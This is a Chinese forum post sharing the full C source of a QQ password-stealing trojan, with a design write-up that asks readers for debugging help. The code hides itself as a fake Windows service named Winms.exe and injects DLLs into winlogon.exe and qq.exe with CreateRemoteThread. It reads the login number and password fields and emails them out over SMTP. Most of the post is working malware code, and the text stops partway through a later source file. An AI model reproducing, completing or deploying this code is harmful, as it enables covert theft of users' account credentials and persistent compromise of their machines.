首先请大家不要骂我,我早已对QQ不感兴趣,不过好久没有听说新的盗QQ号的程序,还是觉得有点奇怪,问了几个人,听说新版的QQ增加了防盗的功能,就来了一点兴趣,花了点时间,写了这么一个偷号的程序,但是只用自己的号测试过,可从来没动过别人的,仅供初学者参考,让高手见笑了。这个程序支持QQ1230可QQ2003版本,系统平台我在Win98,2000和2003上测试都没有问题,其他的系统没有测试过,不知道行不行。另外收邮件的邮箱最好用163的或者sina的,反正我在sohu测试是不行的。
到网上随便找了一点资料,都很旧了,除了用键盘记录的,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容的,这个在98下很好办,不过我不知道什么时候在哪里好像看过在nt平台下是不行的,一个进程向另外一个进程的带有密码属性的窗口发送WM_GETTEXT消息是不能得到其内容的,只有自身进程发送的WM_GETTEXT消息才行。但是这也好办,我们把得到密码的函数作为一个线程插入到QQ进程里面不就行了么!远程线程插入在Shotgun的大作《揭开木马的神秘面纱(四)》和《Windows核心编程》的第22章都有详细的叙述。下面就详细说明一下流程。
首先,判断系统版本,如果就9x,将自己复制到系统目录,如果复制成功,说明自身没有在系统目录运行那么需要启动系统目录下的实例,然后自己退出。再创建一个互斥量,保证只有一个实例存在。接下来,用RegisterServiceProcess函数将自己注册成一个服务程序,这样在9x下按ctrl+alt+del就不会看到了。最后,调用GetQQPass函数,监视QQ登录的情况。如果是NT系统,将自己安装为自动启动的系统服务,服务启动后,任务就是释放两个要插入其他进程的dll,把监视QQ登录窗口的dll插入到winlogon.exe进程中,然后就停止,这样就不会在任务管理器里面看到不正常的进程了。插入到winlogon.exe里面的线程负责监视是否有QQ登录,发现后就将GetQQPass函数作为一个线程插入到QQ进程中,当GetQQPass函数捕获到号码和密码时,就向设置好的邮箱发一封信。至于为什么要插入到winlogon.exe进程,只是习惯而已,当然,也可以插入到其他的系统进程里,但是注意一定要插入到系统进程,不能是用户进程。因为只有系统进程里的线程才能在任何用户登录的情况下都有权限做远程线程插入的动作。GetQQPass函数我使用很简单的办法,就是向QQ的号码和密码窗口发送WM_GETTEXT消息得到它们的内容。判断哪个窗口是号码窗口和密码窗口的办法也是最常用的,就是靠它们的style。首先用QQ登录窗口的类名得到QQ的登录窗口的句柄,再通过这个句柄找到号码窗口和密码窗口的句柄。类名和子窗口的style都是用spy++得到的。这里有一个细节,就是“QQ注册向导”窗口里面,选中“使用已有的QQ号码”以后和选中以前的号码与密码窗口的style是不一样的,当然我们要选中以后的style了。发邮件部分也很简陋,现在只在163和sina的测试过,还能用。其中base64编码部分的代码是以前从网上copy的,忘了从哪里看的了,总之感谢这段代码的作者。
现在还有一个非常严重的bug,就是在nt平台上,不能得到非管理员用户的QQ号码和密码,我观察过,明明已经将GetQQPass插入到QQ进程里了,但是就是不能得到密码,郁闷,哪位大侠知道怎么回事,请指教^_^谢谢!
下面是源代码:
//这个是包含要用到的函数和结构的说明的头文件
/*---------------------------------------------------------------------
//GQPSvr.h
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
---------------------------------------------------------------------*/
#include <windows.h>
//---------------------------------------------------------------------
//判断系统版本,9x返回1,NT、2000、xp、2003返回2,其它返回0
int GetOsVer(void);
//---------------------------------------------------------------------
//复制自身到系统目录
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
//成功返回0,否则返回非0
int CopySelfToSys(char *pAim);
//---------------------------------------------------------------------
//加入注册表自启动项,KeyName为键名,KeyValue为键值
void RegStart(const char *KeyName, const char *KeyValue);
//---------------------------------------------------------------------
//为当前进程增加指定的特权,Name为特权名,成功返回0,失败返回1
int AddPrivilege(const char *Name);
//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
//成功返回0,失败返回1
int InjectDll(const char *FullName, const DWORD Pid);
/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,链接时需要psapi.lib
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024]);
//---------------------------------------------------------------------
//通过需要身份验证的smtp服务器发送邮件的函数
typedef struct _SMTPINFO
{
char SmtpSrvName[32];
char Port[7];
char UserName[16];
char Password[16];
char From[32];
char To[32];
char Subject[32];
char *msg;
}SMTPINFO;
int SendMail(const SMTPINFO *psmtpinfo);
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle);
//---------------------------------------------------------------------
//得到QQ密码的函数
DWORD WINAPI GetQQPass(void);
//---------------------------------------------------------------------
//主程序
/*---------------------------------------------------------------------
//GQPSvr.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include "GQP_Data.h"
#include "Plus_Data.h"
#include <stdio.h>
#include <windows.h>
#include <winsvc.h>
//---------------------------------------------------------------------
//Global constant
//服务显示名称
const char DISPLAYNAME[33] = "Windows Management Service";
//复制到系统的文件名
const char SRVFILENAME[13] = "Winms.exe";
//要插入的进程名
const char DESTPROC[19] = "winlogon.exe";
//互斥量
const char *pchMyMutex = "sjdf ^-^";
//dll文件名
const char *GQP_Dll_Name = "\nt_gqp_dll.dll";
const char *Plus_Dll_Name = "\nt_plus_dll.dll";
//9x下写入注册表自启动项的键名
const char *pchStartName = "GQP";
//---------------------------------------------------------------------
//Glabal variable
const char SERVICENAME[9] = "winms";
SERVICE_STATUS MyServiceStatus;
SERVICE_STATUS_HANDLE MyServiceStatusHandle;
char achAim[MAX_PATH + 1];
int WillStop = 0;
//---------------------------------------------------------------------
//Function declaration
void MyServiceStart (int argc, char *argv[]);
void MyServiceCtrlHandler (DWORD opcode);
DWORD MyWrokThread(void);
//---------------------------------------------------------------------
//Function definition
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
//判断系统版本
int OsVer = GetOsVer();
//如果是9x系统,把自己注册为
//服务程序,用于隐藏自己,并开始监视QQ登录
if (OsVer == 1)
{
//准备复制到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);
//如果复制成功,说明自身没有在系统目录运行
//那么需要启动系统目录下的实例,然后自己退出
if (!CopySelfToSys(achAim))
{
WinExec(achAim, SW_HIDE);
return 1;
}
//确定只有一个实例存在
CreateMutex(NULL, 0, pchMyMutex);
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return 1;
}
DWORD (WINAPI *RegisterServiceProcess)(DWORD, DWORD);
HMODULE k32 = GetModuleHandle("KERNEL32.DLL");
if(k32)
{
RegisterServiceProcess = GetProcAddress(k32, "RegisterServiceProcess");
if(RegisterServiceProcess)
{
RegisterServiceProcess(0, 1);
}
}
RegStart(pchStartName, achAim);
//调用获取QQ密码的函数
GetQQPass();
}
//如果是win2000系统,将自己注册为自动启动的系统服务,
//服务的任务是启动后把监视QQ登录窗口的dll插入到winlogon.exe
//进程中,然后就停止
if (OsVer == 2)
{
//复制自身到系统目录
ZeroMemory(achAim, sizeof(achAim));
lstrcpy(achAim, SRVFILENAME);
CopySelfToSys(achAim);
//如果参数为“-service”就作为服务启动
if (strstr(lpCmdLine, "-service") != NULL)
{
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{SERVICENAME, (LPSERVICE_MAIN_FUNCTION)MyServiceStart},
{NULL, NULL}
};
if (!StartServiceCtrlDispatcher( DispatchTable))
{
return 1;
}
return 0;
}
//否则就安装服务
SC_HANDLE newService, scm;
//连接SCM
if (!(scm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE)))
{
return 1;
}
//当作为服务启动时加上“-service”参数
lstrcat(achAim," -service");
if ((newService = CreateService(scm,
SERVICENAME,
DISPLAYNAME,
SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_NORMAL,
achAim,
NULL, NULL, NULL, NULL, NULL)))
{
//启动服务
char *pra[] = {" -service", "\0"};
StartService(newService, 1, (const char **)pra);
}
CloseServiceHandle(newService);
CloseServiceHandle(scm);
return 0;
}
return 0;
}
DWORD MyWorkThread(void)
{
Sleep(3000);
//释放两个dll到系统目录
//释放NT_GQP_DLL.dll
ZeroMemory(achAim, sizeof(achAim));
if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}
lstrcat(achAim, GQP_Dll_Name);
FILE *fp;
if ((fp = fopen(achAim, "wb")) != NULL)
{
//用GQP_Dll_Data1、2、3这么麻烦是因为把dll的数据放到了
//头文件里作为数组形式,不过lcc编译器不支持太多的行,
//所以只好分成三部分了。
fwrite(GQP_Dll_Data1, sizeof(GQP_Dll_Data1), 1, fp);
fwrite(GQP_Dll_Data2, sizeof(GQP_Dll_Data2), 1, fp);
fwrite(GQP_Dll_Data3, sizeof(GQP_Dll_Data3), 1, fp);
fclose(fp);
}
//释放NT_Plus_DLL.dll
ZeroMemory(achAim, sizeof(achAim));
if (!GetSystemDirectory(achAim, sizeof(achAim) - 1))
{
return 1;
}
lstrcat(achAim, Plus_Dll_Name);
if ((fp = fopen(achAim, "wb")) != NULL)
{
fwrite(Plus_DLL_Data1, sizeof(Plus_DLL_Data1), 1, fp);
fwrite(Plus_DLL_Data2, sizeof(Plus_DLL_Data2), 1, fp);
fwrite(Plus_DLL_Data3, sizeof(Plus_DLL_Data3), 1, fp);
fclose(fp);
}
//得到要插入的目标进程的pid
DWORD Pid;
if ((Pid = ProcessToPID(DESTPROC, NULL)) != 0)
{
//要插入的dll文件名在释放文件时已经存在DLL_Path中
//插入目标进程
InjectDll(achAim, Pid);
}
WillStop = 1;
Sleep(3000);
return 0;
}
void MyServiceStart (int argc, char *argv[])
{
MyServiceStatus.dwServiceType = SERVICE_WIN32;
MyServiceStatus.dwCurrentState = SERVICE_START_PENDING;
MyServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwServiceSpecificExitCode = 0;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
if (!(MyServiceStatusHandle = RegisterServiceCtrlHandler(SERVICENAME,
(LPHANDLER_FUNCTION)MyServiceCtrlHandler)))
{
return;
}
// Initialization code goes here. Handle error condition
DWORD Threadid;
if (!CreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)MyWorkThread,NULL, 0, &Threadid))
{
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();
SetServiceStatus(MyServiceStatusHandle, &MyServiceStatus);
return;
}
// Initialization complete - report running status.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
return;
}
while(WillStop == 0)
{
Sleep(200);
}
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
MyServiceStatus.dwWin32ExitCode = GetLastError();
MyServiceStatus.dwServiceSpecificExitCode = GetLastError();
SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
return;
}
void MyServiceCtrlHandler (DWORD Opcode)
{
switch(Opcode)
{
case SERVICE_CONTROL_PAUSE:
// Do whatever it takes to pause here.
MyServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
// Do whatever it takes to continue here.
MyServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
// Do whatever it takes to stop here.
MyServiceStatus.dwWin32ExitCode = 0;
MyServiceStatus.dwCurrentState = SERVICE_STOPPED;
MyServiceStatus.dwCheckPoint = 0;
MyServiceStatus.dwWaitHint = 0;
SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus);
WillStop = 1;
return;
case SERVICE_CONTROL_INTERROGATE:
// Fall through to send current status.
break;
}
// Send current status.
if (!SetServiceStatus (MyServiceStatusHandle, &MyServiceStatus))
{
WillStop = 1;
return;
}
return;
}
//插入到系统进程的dll的代码
/*---------------------------------------------------------------------
//NT_Plus_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.9
//Last modify date: 2003.10.9
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void);
//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)InjectQQ,
0,
0,
NULL);
break;
}
return TRUE;
}
//---------------------------------------------------------------------
DWORD WINAPI InjectQQ(void)
{
//要插入的dll的全名
const char *GQP_Dll_Name = "\nt_gqp_dll.dll";
char achDllPath[MAX_PATH + 1];
ZeroMemory(achDllPath, sizeof(achDllPath));
if (!GetSystemDirectory(achDllPath, sizeof(achDllPath) - 1))
{
return 1;
}
lstrcat(achDllPath, GQP_Dll_Name);
//查找QQ进程
int i, j;
DWORD OldPid[32];
DWORD NewPid[32];
ZeroMemory(OldPid, 32);
while(1)
{
ZeroMemory(NewPid, 32);
ProcessToPID("qq.exe", NewPid);
for(i = 0; (i < 32) && (NewPid[i] != 0); i++)
{
for(j = 0; (j < 32) && (OldPid[j] != 0); j++)
{
if (NewPid[i] == OldPid[j])
{
break;
}
}
if (NewPid[i] == OldPid[j])
{
continue;
}
InjectDll(achDllPath, NewPid[i]);
}
ZeroMemory(OldPid, 32);
CopyMemory(OldPid, NewPid, 32);
Sleep(500);
}
return 0;
}
//插入到QQ进程的dll的代码
/*---------------------------------------------------------------------
//NT_GQP_DLL.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//---------------------------------------------------------------------
BOOL WINAPI __declspec(dllexport) DllMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID pvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)GetQQPass,
0,
0,
NULL);
break;
}
return TRUE;
}
//---------------------------------------------------------------------
//下面的都是上面用到的函数,声明在头文件里。
/*---------------------------------------------------------------------
//GetQQPass.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
DWORD WINAPI SendPass(char *pchFmtResult);
//---------------------------------------------------------------------
DWORD WINAPI GetQQPass(void)
{
//用spy++得到的QQ的数据
//QQ登录窗口的类名
const char *pchWinClass = "#32770";
//QQ登录窗口的号码窗口样式
const long lNumWindowStyle1 = 0x50002380;
//QQ登录窗口的密码窗口样式
const long lPassWindowStyle1 = 0x500100a0;
//QQ注册向导窗口的号码窗口样式
const long lNumWindowStyle2 = 0x50012080;
//QQ注册向导窗口的密码窗口样式
const long lPassWindowStyle2 = 0x500100a0;
HWND hLoginWindow, hNumWindow, hPassWindow;
char achNum[10], achPass[17], achFmtResult[40];
DWORD ThreadID;
while(1)
{
Sleep(200);
//找到QQ登录窗口
if ((hLoginWindow = FindWindow(pchWinClass, NULL)) != NULL)
{
//获取QQ用户登录对话框里面的号码窗口和密码窗口的句柄
hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle1);
hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle1);
//如果句柄都有效
if ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
//当句柄仍然有效时,说明用户没有点击进入下一步窗口的
//按钮,则可能还没有输完号码和密码,所以要一直得到这
//两个窗口的内容,直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle1)
&& GetStyleWindow(hPassWindow, lPassWindowStyle1))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass, sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);
if (lstrlen(achPass))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum, achPass);
}
Sleep(20);
}
//用户可能使用QQ注册向导登录,所以号码或者密码可能
//为空,这样就不记录
if (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);
Sleep(2000);
}
}
//获取QQ注册向导对话框里面的号码窗口和密码窗口的句柄
hNumWindow = GetStyleWindow(hLoginWindow, lNumWindowStyle2);
hPassWindow = GetStyleWindow(hLoginWindow, lPassWindowStyle2);
//如果句柄都有效
if ((hNumWindow && hPassWindow))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
//当句柄仍然有效时,说明用户没有点击进入下一步窗口的
//按钮,则可能还没有输完号码和密码,所以要一直得到这
//两个窗口的内容,直到窗口无效
while(GetStyleWindow(hNumWindow, lNumWindowStyle2)
&& GetStyleWindow(hPassWindow, lPassWindowStyle2))
{
ZeroMemory(achNum, sizeof(achNum));
ZeroMemory(achPass, sizeof(achPass));
SendMessage(hNumWindow, WM_GETTEXT, sizeof(achNum), (LPARAM)achNum);
SendMessage(hPassWindow, WM_GETTEXT, sizeof(achPass), (LPARAM)achPass);
if (lstrlen(achPass))
{
ZeroMemory(achFmtResult, sizeof(achFmtResult));
wsprintf(achFmtResult, "%s:%s", achNum, achPass);
}
Sleep(20);
}
if (lstrlen(achFmtResult) > 6)
{
CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)SendPass,
achFmtResult,
0,
&ThreadID);
Sleep(2000);
}
}
}
}
return 0;
}
//---------------------------------------------------------------------
//发送QQ密码的线程函数
DWORD WINAPI SendPass(char *pchFmtResult)
{
SMTPINFO smtpinfo = {"smtp服务器名", "smtp端口", "用户名", "密码",
"收信人", "发信人", "", ""};
lstrcpy(smtpinfo.Subject, pchFmtResult);
return SendMail(&smtpinfo);
}
/*---------------------------------------------------------------------
//GetStyleWindow.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.7
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
/*---------------------------------------------------------------------
递归枚举hFatherWindow指定的窗口下的所有子窗口和兄弟窗口,
返回和lstyle样式相同的窗口句柄,如果没有找到,返回NULL
---------------------------------------------------------------------*/
HWND GetStyleWindow(HWND hFatherWindow, const long lstyle)
{
//如果这个窗口符合查找条件,返回此句柄
if (GetWindowLong(hFatherWindow, GWL_STYLE) == lstyle)
{
return hFatherWindow;
}
HWND hNextWindow, hDestWindow;
//得到子窗口句柄
if ((hNextWindow = GetWindow(hFatherWindow, GW_CHILD))!= NULL)
{
//递归查找子窗口
if ((hDestWindow = GetStyleWindow(hNextWindow, lstyle)) != NULL)
{
return hDestWindow;
}
}
//递归查找兄弟窗口
if ((hNextWindow = GetWindow(hFatherWindow, GW_HWNDNEXT)) != NULL)
{
return GetStyleWindow(hNextWindow, lstyle);
}
//没有匹配的则返回NULL
return NULL;
}
/*---------------------------------------------------------------------
//AddPrivilege.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//为当前进程增加指定的特权
int AddPrivilege(const char *Name)
{
HANDLE hToken;
TOKEN_PRIVILEGES tp;
LUID Luid;
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,
&hToken))
{
#ifdef _DEBUG
printf("OpenProcessToken error.\n");
#endif
return 1;
}
if (!LookupPrivilegeValue(NULL,Name,&Luid))
{
#ifdef _DEBUG
printf("LookupPrivilegeValue error.\n");
#endif
return 1;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = Luid;
if (!AdjustTokenPrivileges(hToken,
0,
&tp,
sizeof(TOKEN_PRIVILEGES),
NULL,
NULL))
{
#ifdef _DEBUG
printf("AdjustTokenPrivileges error.\n");
#endif
return 1;
}
return 0;
}
//---------------------------------------------------------------------
/*---------------------------------------------------------------------
//CopySelfToSys.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//复制自身到系统目录
int CopySelfToSys(char *pAim)
{
//pAim:[in,out],初始为存放目标文件名缓冲区的指针,
//函数向缓冲区返回完整路径的目标文件名
char DestName[MAX_PATH + 1];
char NowName[MAX_PATH + 1];
ZeroMemory(DestName,MAX_PATH + 1);
ZeroMemory(NowName,MAX_PATH + 1);
if (!GetSystemDirectory(DestName, MAX_PATH))
{
//printf("GetSystemDirectory() error = %d\nInstall failure!\n",GetLastError());
return 1;
}
lstrcat(DestName,"\\");
lstrcat(DestName,pAim);
lstrcpy(pAim, DestName);
if (!GetModuleFileName(NULL, NowName, MAX_PATH))
{
//printf("GetModuleFileName() error = %d\nInstall failure!\n",GetLastError());
return 1;
}
if (!CopyFile(NowName, DestName, 0))
{
//printf("CopyFile() error = %d\nInstall failure!\n",GetLastError());
return 1;
}
return 0;
}
/*---------------------------------------------------------------------
//GetOsVer.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//判断系统版本
int GetOsVer(void)
{
OSVERSIONINFO osvi;
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&osvi);
//95,98 or Me
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_WINDOWS)
{
return 1;
}
//NT,2000,xp or 2003
if (osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
{
return 2;
}
//Other
return 0;
}
//---------------------------------------------------------------------
/*---------------------------------------------------------------------
//InjectDll.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.8
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "GQPSvr.h"
#include <windows.h>
//---------------------------------------------------------------------
//将FullName指定的dll文件以远程线程方式插入到Pid指定的进程里
int InjectDll(const char *FullName, const DWORD Pid)
{
HANDLE hRemoteProcess;
//如果是要打开系统进程,一定要先申请debug权限
AddPrivilege(SE_DEBUG_NAME);
if ((hRemoteProcess = OpenProcess(PROCESS_CREATE_THREAD | //允许远程创建线程
PROCESS_VM_OPERATION | //允许远程VM操作
PROCESS_VM_WRITE | //允许远程VM写
PROCESS_VM_READ, //允许远程VM读
0,
Pid)) == NULL)
{
#ifdef _DEBUG
printf("OpenProcess() error.\n");
#endif
return 1;
}
char *pDllName;
if ((pDllName = (char *)VirtualAllocEx( hRemoteProcess,
NULL,
lstrlen(FullName) + 1,
MEM_COMMIT,
PAGE_READWRITE)) == NULL)
{
#ifdef _DEBUG
printf("VirtualAllocEx() error.\n");
#endif
return 1;
}
//使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间
if (WriteProcessMemory(hRemoteProcess,
pDllName,
(void *)FullName,
lstrlen(FullName),
NULL) == 0)
{
#ifdef _DEBUG
printf("WriteProcessMemory() error.\n");
#endif
return 1;
}
//计算LoadLibraryA的入口地址
PTHREAD_START_ROUTINE pfnStartAddr;
if ((pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(
GetModuleHandle(TEXT("kernel32")), "LoadLibraryA")) == NULL)
{
#ifdef _DEBUG
printf("GetProcAddress() error.\n");
#endif
return 1;
}
HANDLE hRemoteThread;
DWORD ThreadId;
if ((hRemoteThread = CreateRemoteThread(hRemoteProcess, //被嵌入的远程进程
NULL,
0,
pfnStartAddr, //LoadLibraryA的入口地址
pDllName,
0,
&ThreadId)) == NULL)
{
#ifdef _DEBUG
printf("CreateRemoteThread() error.\n");
#endif
return 1;
}
return 0;
}
//---------------------------------------------------------------------
/*---------------------------------------------------------------------
//ProcessToPID.c
//Coder: sjdf
//E-mail: sjdf1@163.com
//Create date: 2003.10.6
//Last modify date: 2003.10.24
//Compiler: LCC 3.8
//Test platform: Win2000 Adv Server + sp4
---------------------------------------------------------------------*/
#ifdef _DEBUG
#include <stdio.h>
#endif
#include "GQPSvr.h"
#include <string.h>
#include <windows.h>
/*---------------------------------------------------------------------
功能:得到进程名对应的Pid
要求:win2000以上系统,使用Psapi.dll
返回值:未找到则返回0,否则返回第一个符合条件的pid
说明:因为可能有相同进程名的多个实例存在,所以将所有符合条件的
进程的pid依次存放在aPid数组里
aPid的值可以为NULL,如果aPid为NULL,函数找到第一个符合条件的pid
后立即返回
---------------------------------------------------------------------*/
DWORD ProcessToPID(const char *ProcessName, DWORD aPid[1024])
{
typedef BOOL (CALLBACK* EnumProcessesType)(DWORD *,DWORD,DWORD *);
typedef BOOL (CALLBACK* EnumProcessModulesType)(HANDLE,HMODULE *,DWORD,LPDWORD);
typedef DWORD (CALLBACK* GetModuleBaseNameType)(HANDLE, HMODULE, LPTSTR, DWORD);
EnumProcessesType EnumProcesses;
EnumProcessModulesType EnumProcessModules;
GetModuleBaseNameType GetModuleBaseName;
HMODULE hmPsapi = GetModuleHandle("psapi.dll");
if (hmPsapi == NULL)
{
if ((hmPsapi = LoadLibrary("psapi.dll")) == NULL)
{
#ifdef _DEBUG
printf("LoadLibrary() error : %d\n", GetLastError());
#endif
return 0;
}
}
EnumProcesses = (EnumProcessesType)GetProcAddress(hmPsapi, "EnumProcesses");
EnumProcessModules = (EnumProcessModulesType)GetProcAddress(hmPsapi, "EnumProcessModules");
GetModuleBaseName = (GetModuleBaseNameType)GetProcAddress(hmPsapi, "GetModuleBaseNameA");
#ifdef _DEBUG
if(!EnumProcesses)
printf("EnumProcesses == NULL\n");
if(!EnumProcessModules)
printf("EnumProcessModules == NULL\n");
if(!GetModuleBaseName)
printf("GetModuleBaseName == NULL\n");
#endif
if (!(EnumProcesses &&
EnumProcessModules &&
GetModuleBaseName))
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("GetProcAddress() error : %d\n", GetLastError());
#endif
return 0;
}
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i , j;
HANDLE hProcess;
HMODULE hMod;
char szProcessName[MAX_PATH] = "UnknownProcess";
// 计算目前有多少进程, aProcesses[]用来存放有效的进程PID
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
#ifdef _DEBUG
printf("EnumProcesses() error : %d\n", GetLastError());
#endif
FreeLibrary(hmPsapi);
return 0;
}
cProcesses = cbNeeded / sizeof(DWORD);
// 按有效的PID遍历所有的进程
for ( i = 0, j = 0; i < cProcesses; i++ )
{
// 打开特定PID的进程
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE,
aProcesses[i]);
// 取得特定PID的进程名
if ( hProcess )
{
if ( EnumProcessModules( hProcess, &hMod, sizeof(hMod), &cbNeeded) )
{
GetModuleBaseName(hProcess, hMod, szProcessName, sizeof(szProcessName));
//将取得的进程名与输入的进程名比较,如相同则返回进程PID
if(!stricmp(szProcessName, ProcessName))
{
CloseHandle( hProcess );
//如果接收缓冲区有效,就依次填入pid,否则立即返回
if (aPid != NULL)
{
aPid[j++] = aProcesses[i];
}
else
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d\n", aProcesses[i]);
#endif
return aProcesses[i];
}
}
}
}
}
CloseHandle( hProcess );
if (aPid != NULL)
{
FreeLibrary(hmPsapi);
#ifdef _DEBUG
printf("Pid is %d\n", aPid[0]);
#endif
return aPid[0];
}
#ifdef _DEBUG
printf("Not find %s\n", ProcessName);
#endif
FreeLibrary(hmPsapi);
return 0;
}
//---------------------------------------------------------------------
/*---------------------------------------------------------------------
//RegStart.c
//Coder: sjdf
//E-mail: sjdf1@163.com
